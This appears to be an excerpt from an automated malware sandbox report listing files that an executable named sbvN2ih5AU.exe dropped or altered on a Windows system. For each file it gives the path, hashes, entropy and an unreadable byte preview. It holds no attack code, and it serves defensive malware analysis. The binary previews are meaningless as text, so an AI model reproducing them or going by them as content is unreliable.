Preview:	regf..8d..B.+q.....>Y`>.XF3+\[j...j.W.Zg.'(:....M.$ds.....].X.c.j'.....[....../..Z..7.+....K7......c.Q`\..{.....}......uOJwc..+.....1..".H.G....4\|.V...C SX@...z.V`.mx.+...As....y.....Mq}..G..@u}. ............r.O..h.G`.......C....%."...0L...7Y.w.[...3.#..ZMhn..#..np.1re@^.2,...l..7j........... 5xy..Tzb..^....j4..j.].....3...xX..<.r.9;..... .qBv...s+.V/._..g.....>.....L.........>.g...f....X..J....x3..k:.0.Nw;.-1-......_....2 .ID..{Us..."..i......d.....$Qq..tW...K.~N.4i.gb...<.k')..Z.v.C..."........L.QSd;.....~...X.a=.Kl.<_w.59..w...R..C. a..Ez.].....bE..4..N!]...F.G#...?.2i.yJ..v..^.y....]...H...]q.$...L..$4.T;uPGt..>.....o....Vg.r5.A..n4._..a.r.{_.\....0..R_..."....K...h.N.O .TDqF../...........E...."...o5....+.~e.. +A...N!.....R7......X+j7..x...4.(.....]......w@Y.a.!). .)#...t}.?.-u.....o...7u..!h.M3u....Z..1.%.....9b./-u.A.p....a...l.E.(\|...{.C.V.H`.?.&f.,.G.......*..X@:..'..\.j5....5..Ie ...x#'...%.Z.J..M.(...;.2.?t9

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977678336252111
Encrypted:	false
SSDEEP:	192:hjYttEfgThHKp82O+rQExog2aepgm5waFGPrjXybF:2Tv2O+rQYogISHPfi5
MD5:	3A69DC56BC5508E809B2A850F51A5100
SHA1:	D927BD70962494EA409F4D12F5E697F0149E50D4
SHA-256:	F1907EBF017D13DB4D990B230F9C52292DAB37C0B93D66840F01740F55E28A46
SHA-512:	360E7252E94B3345D5D07674E152A557AE9D83363BB9CF68C4DF721D51ACF660B3C81CBA1D20DD99BAF4F4E054C3E1FE86706691C3029BDE0882CCC1708EA5FE
Malicious:	false
Preview:	regf..c....'Ju...<..(...I...U.._q...]....}..R~..".7j.D.F.v.p.....`tW.M)....On}.&7,s...fX.pTEr..qV.~_.\|.c.m.. ..H.$.....`.)...8[H....CO.U....%U]BO....B.3 .5\|..e`6"p.....L..Di.O...t.7n..$.4.>..G+f ..p...#.:Dw....#....vY.pQTN..%..I+....o.Fj...:.%O.^.{..K:j......!Xnw.3....~...,X..&&3.7\([.h......o.....w...%...%.R...}..j&6.A../$.....;.'i<..\..WP...&K.'V..e...!W.eT..X.......ekW.....1...~FW..}mCI....d>sV.M.........v.p....h._9...l.h..Iz...p.......3%.'.Bs.9 ........r@..T;..`....{..v8@.@.....6.P. .k.1...:.Nt.C.?6.]..?!.....OM.....:[3...\.mN.z..p.c!f..-El...N.`.."7....a....q-..8.\|L...d/......+X...L...+T.0.M..W.....icG...>..n......p..u3.). ...`......Vl.........m.k)]p...qj.#..J.d...........+.z.^6.&CB.....IB.:..(C....wn<...r.@s.........Q.Jc..Og8...%...~#..p....S+.Y.....g...$A.9K.nN....\c..o...ry..H]N......0j;...."...q....ZX....=M..Y.....V.=.]Bu...O...d6G.b.pHl..p.e.*....@E.AY[............u. .&.f.....,Z.E..O.-:....i=.J..}6.......O....t..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.9199917027756905
Encrypted:	false
SSDEEP:	48:FaCjKWv/ao6p6xKddh4tYDUAXNUYPvroQ8JO5DCO88/fgyABev9D:FaCjKa/Dy6KddhYtY3roQ3eOpbA0
MD5:	1B18B0B493217434CFDC67AD4F4425A5
SHA1:	C49F93AD51D9AF5FD2AFBF14DCC46916E67A4C51
SHA-256:	72512E1253A45F55C1351E933D3C79F93138083AE27C5815EE17299CFB6D97F5
SHA-512:	A8215C0F079781380BD5DB064B6246EE54E449D7A7C2DA224B83268EC07336A6B4779EA60FD0FE671A96F7879475D4E33051568587A8CA2049BFD6F9F7A39BBA
Malicious:	false
Preview:	.PNG..g~.?,y+k&{N.m....Z...]Q....6.o8..f\...*.[R..H.....Ajd.....\|...Og....d.i".`Q.f..[...o]W~f.....H....&g.J.Zu.....1I.I.X.I.m72.-R....]_Gd..6.-<..%q.%...2...JRZ.p.omhXB._...`x..-..m......U.8...3g$"..,....J..o.........]Q......@....mit.M.</O.#Fk..)q.s...'...2G.....O.Z.'[.WXI..8....0.0A.c.....[!..p,.E......3....T=.h..'...{.M...ix...h8.[.w....K0,mB.wF..U.\..l.T.fbg..t.._...Q%h.2.#....n...#J&.0..'./{.S../TV....3.+T.V.B\|}B......2.t..DJ......eG&.......y.t..#$.~......@.T..3..a ..u..I....!(.j.v.FY<.6.7rd.J....U6.....w.$..............HK..'.z...V..A!W.%..[..^.1.9..y.....:..d...~+..b'...{..N..Xl..]S.d...$.......VK.4~~S.l..qm...m..8YR>..".....D>R...Jsg'..4..dW(.?.Rq]...t.U.I.%..."......m..}...............qM....(\...R:#...J........V...Z:....t..L.>.......y.$..0.r..d...T...W)k....H......E3..I9.D.B.n..MTf....Gk8o...\|g..]...q..@.e..%j..._.p.9.1q....l..m>..E...l....71.s.e...Q..k../.I.O.).P)...%...O....e..u .....^F.^.C.'dd...3...$...@.H.....J..VL..WI.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.897602683072526
Encrypted:	false
SSDEEP:	48:jfNDt0N5hGaJlNeXUboidPFs6wB1e7c94Fix/lh48vCNVAT/EVpD:jfT0/NeEbnzK3OiZ2NyAVB
MD5:	E20AE200C55984D80EB0280088AC2061
SHA1:	AB433784D49A37FDEDE92846600E33F1A9838DDA
SHA-256:	5182BE3408E783592BCA8E3297EBCA79A8339133A5A5E472E697E5B8F5D60A35
SHA-512:	B2BC349D4E99D90D171C58776ACBBB790723F4EC28D273CA81B9AA3DD9D7BA1A0561E5453ED0CABD92937ABE312B187395755DB5E5957B77FEAF3684224077F2
Malicious:	false
Preview:	.PNG.;8..$+6sM.\|_...X^..P.LK...F....!..,,.\.}...&"/..\|.....g....MAU.h.!X..P....t...-..p..q.]..k.f.A{2OH.;.9[..Y4`D[RO..[.@.. .......QE...WU...<..[j.rk..+.%2Ujg.Rs.xG..x...e.59i.K..n7\.R...X.&M./n[...{)s\.........g......(....8.FL.N9.4Z<.-U.`+B.._..G.. &..C..?>..O9..n...5.A.3\...,..j.....Fk....F~.omc..$.....E\|.f I..g{KzIa...i.t+{wM/.2uJ_2).Ki..a.U9..x...=}..C.}{@N...>...E..\|9b-].l}.Z7...#]TZ.o ...Jv....H~..S.z.l...V..u..(.......?.i"..:.x..l.d..8...q.Nop..O....]$.l.....anR.#.......z........J....,g.z.6..}H/.;..J.3.mq.2e6.E....b\|F;...U.{h^....1}.DS..@./..%.9..^.Eb..B...c......Z=BW^.H-..s....8...ja.jw......o..N.d.d...`O&.2..K............<;.E.+.7&.g...Ix-.4..O.t.s....N.6.....e.._...W.I_xs.`........9.\|.ftSV.....}.!..x.)..r.!...g....v3k..r...&g.<PQ..p..;...yy).RX..\|.b......OHi;=..OWu..w.4..]...6$...Os...!\|,!.A.8L..4.BY8.7y..Q.>..Zn......F.@R...xi>.+v\|.. I..=..1......l.'..8.&....^a%3.U#rI.q1.%qGBA...N.....WV@....Gg.L&..f(a ...2}O.....U I.n.W....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.936047391108515
Encrypted:	false
SSDEEP:	48:TSDACYq/d/IX4zOtirZeIftk2ik+M1NGBXDQcgOW+G8uVosu+5OLKIanfa7uENOD:G8CY49Q4XeciOXcp3Zmx4GIafzEN2
MD5:	5D5F731E528774FDDE74F2DA81F1F77B
SHA1:	3EBCA5F1518D6EA1E93BA519DCD97545C2518ABF
SHA-256:	D24106D234DDFB547959C016C72E88B2272AE957196BE5AF3723D1C51B162B91
SHA-512:	72D16050ED03F638A52B5C1ABFB9243DF26D89E2BA32D1AEC54EEAE0E1CE8AFC22D9766FEF0F8542CB086330662EE3AF5683A744AEFB0621E52FD66AE4E5B31A
Malicious:	false
Preview:	.PNG.n..7..(...!V... ...^.....'.W.f...."........y....z.h....`..U...........,.KZ..;...(...).l..Vd.?V....6.(.yWC)..`.....G....h...2...a..U.!......{..I....!.....I.B......B=.?.2SC......H8........'.h..D...W........So....^....3)...p../....7..+;.7.....l0.X.%.A.{..aF\.T~4c.V<.a.;.\....._.$.TGW...)8e...RX.X..J..T8. ."Q..Y..n..,_.I..e..} ..#.".s.(rs.....H.G.Y\?..Aj..]\|.......(!\|.!....:Y.n\|..uaHak... .z..,......'].{7.Y....1..r...Q.M^......>....c...S.r.....o2.Z......K.N.....i.ykd..l..U...."....EY......S.A....~....B$.4?v.&&...E....@.A.!o.N.0eX..Y....q.zd...:..j..T-.#.P..[........\|.#..)..M..H....E.Pj's..].!pa.~z.2.x....~...a._h.?..<J...........E...A.7;..H.3?..%.Y....>j...r.i.,'.>.........qU..5.........A.[.#V .,m........B.`a.T.....=K...]E...6.,..2.....X.I".....Wg.5-..'$^.fL..1E....,P....9Yo..W!.......W.)_....JQ.D...t..<,..){..k9P..TH.pL........<..j.Qc..<~g.GW0.7......(4....1U.f....=\0!(..F..l;.G...,.U.H.4.........`k4V0...........Y....GTh...y....)....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.894159442549787
Encrypted:	false
SSDEEP:	48:U5sKDLQD7pGFidKw5XFCKOftoNboqtHkO0vafaeZ8kC9D:iUwsKw5EfF
MD5:	9AC26B6A57E28240488DF753EF6155DB
SHA1:	A60D7E77F6C88552F380F91CB9D9EB42B15FA83F
SHA-256:	A5FCCCFBC6658273B3A147CB595701D047836AD1DC599612537B3B1C538C086E
SHA-512:	90660ED180A3C2CEEB538CDA4C9FA0FE4D1B703B8200E6293948909225FB46201BA11C222CBDBADD6F6F0D2B62E9A75B42682C3A8B0BD8F05B31A80A0077F1F3
Malicious:	false
Preview:	.PNG...FT.t......{..w;J..Xd........f..Si..T.}>.p'3.6.M.Ze#.w.JO...LG..N.Dd=.....C..H..s2..XPybc.{......G7;.....r$T.};.-.g.C..7.....O..v..ie.2/../:.4f....n.......1.......4G.I&...jo....;s.7.UV.M.4.....j.J.\.b..0....:g0Eh........N/..BG.Q.7.\|^...v.c..}&.<.9.a...@Ox.(...h..@.....j.C/pk...h.....R.A.(.u.d....S...{.`..NLA.........wZ...M.....5.O.f....o,..U.....>...ee.6.r.9/.]~..1..8.W/...o.1sZ^.@l...w.L.-fi.c....7..;rN.z.;..\z.....;..`%k.......7.w O.M....tc ...&-.+4...../=I...@....@y...(j.D.37`...p.....:%..eVvkA"'.._#.j}.HzG._ui.M....F.+.^..j#....8,..5..~L%nv....a...Tz.s.:I..>z..-/=y....%..'.aa...+'..v@N.....\..A.T.".z.H.....ZM.xmS.t....Y....<H...0.........N..Aw.I0......VxMC..we.........l.W..$..[-p...>o.]...........ke...=...V.S....5H.3..P.1.0.u.H.1.{..,..)..</...\z.....@........P.9.Z.A..?.h...s.<......^.t..\._.^.W..\.H...^...O.........'.......\.\@....F'....r.:}...@6...............9......l..m>1yC...+)X.wY..}....i8.i..b.....W.7.....p...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.89709642550089
Encrypted:	false
SSDEEP:	48:XvX2y+HHtil+o7MtosK56tuuwOIfCq78yyXy2flHdflhuD:XvX23gt7Nwweq78yl
MD5:	A714B71A6114BEEE65C984A561004F31
SHA1:	22E80CBED1D4BB779F31B627BA30D19DC97B0F1E
SHA-256:	264A649C695EBE65EDBBB88B07212DE8A10BF20C249FCA1AD45000E2EC05F2E7
SHA-512:	FFF2CF19FC76A1A19170E69C558A3933C39FFB229619D4538EE35A4F5517B9D1AAAE1AEF5AD2F3D65A284BBE35B8AF3F5BEC373C12B49678E30E51F92B0E0602
Malicious:	false
Preview:	.PNG...?.!.a.<..\r.^..l=~...._h.(....C....Rh.l..M..5h....r..dh..!.@..o.N.........6...!.?.._.1.9.....3...B..O.#xG......n..=.e..B`".Kxf..[..y..Jr5.vk.....W .?...z.P...G....X.."...p...@n....Ua..u:..7O.^....Kv;.....+.@=..P.....js.bH......;..@.4..r.+.]#.fYi.:g...u.I.....t.:.QM...f..bZ^...a...k.D..i.aI~.B/.n@.C.E/M.e...$... ...yg...d..oJ...pv?^..Z....w...lm_i.Q~....ab..GM..R..J...P...e\q?.1..."]..e._.%&$7.`..E...........T.m..@.....R...x....'..e1:....k..2..4.^.."...qu..........6o.f.I.!A.j.\|.......o.[...:w.....{.\|..S.:3.5..x.zn.K~n%.:VP...I..E....7z@...+.....aIh.b-$.,...L.~>....z.E.5.-.A.3hc.D...4]. t.e....d...3.f~9..{.J..r...]...@(x....f...B...u....2a..P...2t.=.R..........4..n..D..<.U.$L+.<..>..S.,.....e....E.c"^....h....R.`+..{....U7..Y.y.u.<D...5.=..4...rX..q..yA.V......&.R..l..:..rv....,l..)Q.].....X..~z....*.........X.c..y.H..(.gs.H........JOr'w...p+xPI[...+-.%...F4..3!........K\|. V.&..!Q...D.g..3...C6....9mu...L......A0F....B..\|^.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.857734410086982
Encrypted:	false
SSDEEP:	24:t6PyHOHGQBALgmbWcuulNcVFc45dOTbvEFNjBUNEAqHCCr4Pb8Rs42bD:MP8kCLgbc3leVFD5dM1Whso+rD
MD5:	FFED2F3234BDF1A76AF8D187106F7D14
SHA1:	9CC7F32DE52BF2259128AFF894ED1E0ADE891994
SHA-256:	5C8DCCBA97201EDCC7731915A4B321456D190B0B4612165DB1DB204564D04206
SHA-512:	7386A80A3696E3E9B73025B10C717BDCB4046D3B0BB3EBAA540AAF27A920C327B59B3434CDDFCF68317CF9C15168E55ED2F59F92CD300BAB230194C727C76102
Malicious:	false
Preview:	.PNG.vh...88.^.e0.PA%...=....O$..m.m..}.3%y...[...4F`J..[..R..b.%.....d`u..H.c.........FC.cT...%..gz..5T.9f.B...?....(!y.qz.........F.......>..q.")8G.a..#...\|....7.6..3>./H.d..5..J.{..C1...]...ac......M...n.f>w...Qq....:.t..q.=qO.v.n.s.yO.g..rY(..v..$.......j.L.<.j...&.......f.KVq^k..+.zv........"9....1I.R&..."p....%......j.....R.[..$.!.....M...O...\|4.Q.?.....\|....T...t.)eyW9.G.."..=`Fn.q.....u.....j.e...."R....b...+]P]].....8..&.-.. q[......@....kY..d.....n.#..R.hq.2.m.........&.{.J0..._...G..M).nR.(jeQ$.j.6.!..U...o....N.R.y.>.M.x.U:.-...........=}..O....N.....e...g..\....9.m..c.,....).W<.?42/.S.8..f.........X.a_.P.5x......O\.r.8MnQ...+n..w.b\|-.".=.B.?..e..ND[..`P<.@g.:..'d.@..wA.F.W..G.b<.#..nJ......=.p.E....)pp?.qK......c...A...eR...E..1....T..S..1.....d{......%../1o........./.......Z.A.<z\...m.M..i%...-..Uop....].*.w...K.QN.V.z>h]l.a.;.5.&.i..2F.ERgLx{.EQ...'G.i.x<..e...._.3..Q.`J....x_T_.J.W.N4.\.Pn.....+Q...N..d.....fH.I.I,g.L..7...Ba0

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.887320774933846
Encrypted:	false
SSDEEP:	48:724brfZhB6PdEHS+BWtF2PZ9hw89wtOgjWD:7TffZhB2UEWn17
MD5:	6C3567C499F16BB4244B965B5A8F2225
SHA1:	90250E26149FECCCCB47CB09BFCCC3F930995AC5
SHA-256:	2DAC372D8FBCCF8389EBE416C3924D12EBDE1D73A80C9E0DC38E6C09471B4088
SHA-512:	09BE1982096A06B6FF3F79ACDABD384C461DA7FD68A59F69AEA512C654276224BF2FA10A33B61C0BB103B8CC63B229EAD5DEFC2F048046AA0897D993C778FBAE
Malicious:	false
Preview:	.PNG....3o}_...m.\..IFQ.-(....Y...D.\|J...H...c.#3m).....h.,'....r5............D..0J.rl.qJ..~$...+9.q.<.S..Ft..N .W...jq..s.).?@.H.JP..Y...p...{.d9SY......'....^.8.pD..V...gq7.6...O.e..].......[ 4....w..D....b;.nh..s.f.>g]....w<...>...j[{.....a.W.b..D....7.yI...4._.. ......\|.@?{.i...?2.x.&....dJ......[h=...4..@.$.Q1...@....!x.B".#S....B(K....-<.HK.)....j...NA0..1.".................V.......^9d.....3.p.:.MN...g.bFdiK.......\|.....`.y....R7......#^.w@.X2.....(...6M...% .'.N.%.$..^H..#,..3...y.6...t48..7...E...1.(.M{N.0P}.'..7.h.*...Ew.U."..Be.0.%I..GH.).4k.{.#P.G..5.L.2c.0e4....{.W6F...D{i.3..............PV..Gl.p.{.....G.GFuP.Z..p...?..g0.X.T(e.V.\.i.!.5:.yF.c."u. ..p.........T..V.N..4htLb..g..\.m.`.[........;..L.'..=t...6...&...l`....FV8..1.Z.%65.zc........r0..%.q....7..Z:.2..`6..m.....Y...%K....$%v}k.7D..r.\|.vlWpri.Y..Ea..n.............K..M+.\.i..fnm)...........$...U...p....] ..Q.G..b.\|.......#...V..i.5pe.t?.2Ep...3..g.a..dq...W..#.P......

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	7.842073979182646
Encrypted:	false
SSDEEP:	24:c2i0+1ivrw9FWM8KWguN9qNamG+hgTX3jIw6LsStVeM0ZM87+DqWL1MnD2bD:cp09qKKvrC+uz3vGVr0vyDqWRMwD
MD5:	15C300A8BDF6CDEA0AC454CABEB8B79C
SHA1:	9C019177148EF9D9617C4DCC3E4BD16ECA609FE4
SHA-256:	D79110142CB9A3EC8DDED040EC50CC9D0ACA76C3BD2CC0F55AB911CF0A09EAAD
SHA-512:	F495992CF265B3BD06C89C6D921416E72E2FFFA4B3A881BFEBD7CAF6E6FDA93B1942A771713E074EF4E08152FE8C9EF3366E674271B10FC2A20DE667B399C492
Malicious:	false
Preview:	.PNG.....E(.R....M."..}+...dn..J.p..)..K\c$.N...?!.+$J~K.vX%.V...X6A..g........]q..T.2GU.....1i....~..2...g[..n.w.ET....}t..vVK...~s.d.D`V4...Z....>..H.)J...{...1.L:.....3.`....."%.F....Z.......Bg...V.ZF)<.......M....h....-D%&c..N..[...v.a....V...0xw.)iz]...u.{...;>D..D..k......n....P.?$....w...mt..^ .#..;.........w.5.D.....s. .].....R.e.<v...D.y.#..>.C......3.3ce.>....U.'..#.=.0.....+n.rc\|...+....?K.,.1....b.".w..6"eQ...'a".......K.;\|.y.<.....S@.V.....@Ta....#..]Jq?-b..o.)&.N...Sp..m..z?...l..x.5)...A......e..ei......V'..9P..m...)b.....c..t..V..,...e.(.`~.+.l...UF.<..l.Y..kV@'..xI..d...I.)\d.Bp........Y...2!...9.-r...Q..--..../..tQv.W....4...P"V._.$A.hwAKBP..Ce.e.q..<~.R..f>..._N:......<...#LI.Q.D..v/J.....%fP"..4....S....s.%.....,..y..2.F..b...b..3..V....p\|#......@9...Z{'k.A...,J.y.7../v.N.+...U.M..#...,.C...O.....{`X....m.......-...5.....f..:...6........'.P..f@c...S..d.X...).. ....N1.uR.e..J.u.;.GWTS........o....c..L.Q..q~.R

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.386005023374588
Encrypted:	false
SSDEEP:	6144:WTR0NgaJrlwSbZYKZw2u7QK/Vbpyq7wNBy:WTRigWY8mQKdbwq7wG
MD5:	5E1A078CF4E29054904B183DFF50E68D
SHA1:	B7B69BF44C710AE2E4C24512DD3458579DDCC235
SHA-256:	A41FDC7E0620E111DE35FD7D8460416849629E2BC08B30C74DB8EDD0ECA09143
SHA-512:	9120C5566FC4140E89ED240B2A9E7B58B3657669F6047E1A917FF7B80694AD2ED5986947107EDF05D28541353471A8485AADC2E7BCDAC36FD7C41C835DCC8CCD
Malicious:	false
Preview:	o.......c".n......W.....5tk...9....v.....Xw.<y.Zz.}qQ.....@...>.J.s.X{.!z..O.M... ..j........!.;...!.wUE2:d.......&..}.\\|..6...e..B...a..j#.a.Rlo...!...(.%dJ..+..r\..fr7....u0"O.G.....+.l.....l..<r.%\|7.V........l.>..[O.=..C.aNsY..:.Y.........f...<....p..o.[..a..`....V...."..~+2...../.Q/..y.\|%...S.$."....q.~.O......m.h.$.............>^J[......&...J{..P......C.V^.%.q&.o...."sn.L.@B.....^......(47.ID.T.<...jM^.6..`..k~.oLG..3..h.P.s..r.GAP.r.R1o..:i....U...<..E..@...ON.Z..T.H#.,.a.......4W..p..Xm_x..z.b.k...f.(5.0._mo'..F.\E.qJ......s7V{....W-..NC..J....u(.J......x.h.../N.Nz.7........$....K.H..6..5...{.e....'u..9...w..S4.rD.m......h..P^..$..4...)W.u..G.w..j...m.:C.v.z/.Bl.3.u7..f..v.R.w.{5"yw.Rpa......sdQ.[Bx......a7.jK...GN...#hH.EG..}..a.....KX.0WEljB..../.....`...,h..L....^........m...........(2...,..<.....hD...i...)Ch...!6..)).I.J....T[..g{..... ...7..n#V.....%.......a...:`m...).z...t#.[..M.p...MK..X....k..BV.V>S....I8i..t-R.0X.y

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988571528402618
Encrypted:	false
SSDEEP:	384:iYME+9II2KpKM6FQhFZgBc6w6J0I5DFE39wXGb6MHh:Jcm2ZgBc9Le639wm6Gh
MD5:	79B709D7EF4711ECB61982CFD7BAEE6F
SHA1:	7F607CCE31123CBF555081497650A1CE5F1743AB
SHA-256:	D671948B0DAAB0A2EC43C7D103DF4FE6B5DC90AFD49B6750AA7304CFB2D6C92E
SHA-512:	407D1FC3DC6289AB60B278E726B8F08491C9DD17CBD9CAAB98C136B5AC79FE8DE592799A2E1A9608F7DF1BBD440C341EBEA10A02D85E3A3BBB0EBC6560597131
Malicious:	false
Preview:	.......l.b....f\...~..(.a...}....v.K..9..#....?.U...A. PwX[...r........k.N2:...f.....X..T..V........jr.....M.87..U.P.( ........b...... i...W[.&W...W4..;...W.K...E.{\|t..m<....s.q4.T{]......P....=r.+.H...,..s.....g....c...q.r.nR.;_,{.10..vR.rX-B.:D....c........{Z.fI....^.-..0..p..N...fLZ\....8d>.4[..........Ap.}D.o.D.y`....Q.....z..B.i.. .4.e........WLD.5D......:..}@k..hp.g;..b.4.........!/{Q}.8\|..}.j.Z...%v.L2Uy.A.CV..G9..9....."y......M.~i<...k. ..n...7..zB~.#..O..qd..myK...nCi+.:w..Sz.>Rw.?.....=2...k)!..yC...?=..E..j.ih........b.c.{.......T...y...\3.s?..y..N.\|..Z>...}g.4..-\|/.......:...0;Z"].....P..x.......z....i..JA..L.a....h...k...v....8{X....!.z7A.....f)....j.Y ...Yd..\|C\|~.. .j.w...w.....0'h.E.8....a....- ...s....`.c.E.[`.....#\.b.../......+.....b.7.....Z....{.......>+..../....r.X'_.Y+...x..l...q.L.....2mJ...<....@.e.......t.,...0.?..,._&$...z..J.......d...v@.....R..)[.Tc.......j....(...A\..6.yc?.<..=...fC..=.....nt.. ..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979636472745698
Encrypted:	false
SSDEEP:	192:eqVnJhZSf/TPd+2Y1yHMSN0iA54kgFl+Rt3r44zJD+/EdcKbAs:RVTZu/TfMSN/kE+RWCQ8cqAs
MD5:	2489D8DEC6C739E603BDDD929E37CD33
SHA1:	E68943CFCB5244DEF86E0D55DEA9933B4B3992FD
SHA-256:	ACD663421879983926DF4005D6D4326DA7FD2D2F1DD9B60D5731DA8EB5B72C2E
SHA-512:	CA5876F3F556D772CB3BBE55499ED74A30FE9325BDEBFB055934553D4A27B051ED768242D84CA66DA77AE04F415DDC2FB881778271BE4B8CB5539AF15B667A99
Malicious:	false
Preview:	regf.}=pN&.POKw....Uw.....S....WZi...{:.k,.j.FL...X...p<...7.@.%......K..u_..!..rE+.G..%....4W.va3.#..V.pe....G.\|...:.....7....RR...T[...>R.O.l.~\|..sK...O..X7P1.<THU.K.......<(..3,..Z.bD.-....T>.m.;...&E.......g!...}S.G.(....?......).........+...!.j....t..X...pN........@.U..2.N..=....M..\F..d.g.....D........q.N.....\%;H1gg...M. ..._.....L.a.%vO...mP.G...9.%......0...5N.5_..."...bp7.j7.m.Np....%..8.Oy.qR..4...<....V.q..`.+.....D?.9.$...'\|.K.k.....}.{4..U.......?.r...`..Rw+..O."p...\|7..'.T.......`..j...a(b.q@!.S...Z.~.4.(X..X....n.t.d.....v.zq...I...z.C.PmH.n..Td....Qf....U.iJ...._5..I\|.M.......\8ZQ.^.q#........v.0I...mngx...Q.y...}.......I..=F...`.....k.o.......^.g^..MzDC....(.3..l...+M...e....W..ex.'o.-PZR}5...2+G.`u....c?.}..~........$PbJsF..j.Vn4.B."{.yy..:.@....z...]M..\....%={...H..7*...a}....m.....C.+.[.R...-O..%.Y{l.dk......y#..C...v.SD...a..-Y>...t>.".Jq.....j.....2....X..9.....;.p..G.c.0._A...j..0.M_.^..7....w..\|..#...k

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97859309510744
Encrypted:	false
SSDEEP:	192:lFsblLiShnIga27VijdMOVuuz+XFHR+PSpfTmvmMS:cblLnxI/oVijdQtmPAfavmR
MD5:	07B2A6D4D43AE4A9996262FAE1BA90AB
SHA1:	BD3E8ECD2574466EE310DC7F8555A87295C1FEA4
SHA-256:	562524558D9F33F42A06D9FE7311E3DF6041BC8988B8E81AC74DD5415292AA6B
SHA-512:	F80D3C17F96394C05235B959F74B486EA46924C7C7823B9DD82BAD32C975F04855EB8CCCEEE4C9127944DDF2A743E5782CBD32CAE31F6E605A980234AE226942
Malicious:	false
Preview:	regf.......p...........b..5...Z.?.3mCp..../.b...6....8>........o.."....0..!..)jg(..Z%D.$...g.?.-..M4...C.)U.......@m..U1.'..b............YdV?..q.=h.......#n.....6.t1&.\.Y......x).@.t....x.........y..K..e/\|e.........$-z....il.c.}...`.....\|...@.6f..........s.....2.[../.C#....3~...:.....n&x..,.x..5>.c....L.'.c(.(.su.2.t..>].c[..H....uE..F#./V._..W.j.+vU.~.&..S..G.l....\|.:.&.Q..4.....[..)[..!.u.....;"..eko.[.........[..5....i..7..Z7a.B.>...{.?;%..,....^-.I:..0X)..a....1.\|.j..'1..Z.M...C..41.n...X.EBI....J.7..w.}....k....dw.e[K$....P=..0"V Q..!f...m...d...b.I...m.JQ.i.g3'.w&i.4y..p..CQ...gA. .'...........E:..._Tc....._j...e.kP..f.jU.f`.C..@V..E.....yRz.?..&:o.n.....D.vx4...'.......I.....A .z... j.p}.%...-..I....?.u.;...M..^...c.e....6.\.?_A..KAF.z...~.\......_P...q.Zb5'>...t...[..6..._R..<j.lrpY.M.{H...n..[..>.._fF.W>...s..>....'.o.40rR.......F5...._.a?.\|K..{.f.+....i.....sg..)..3B.T....!...*.<IO..:W...M..A...Kh..}.6vG..+Q..p/0..F.M.d.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9764337432052255
Encrypted:	false
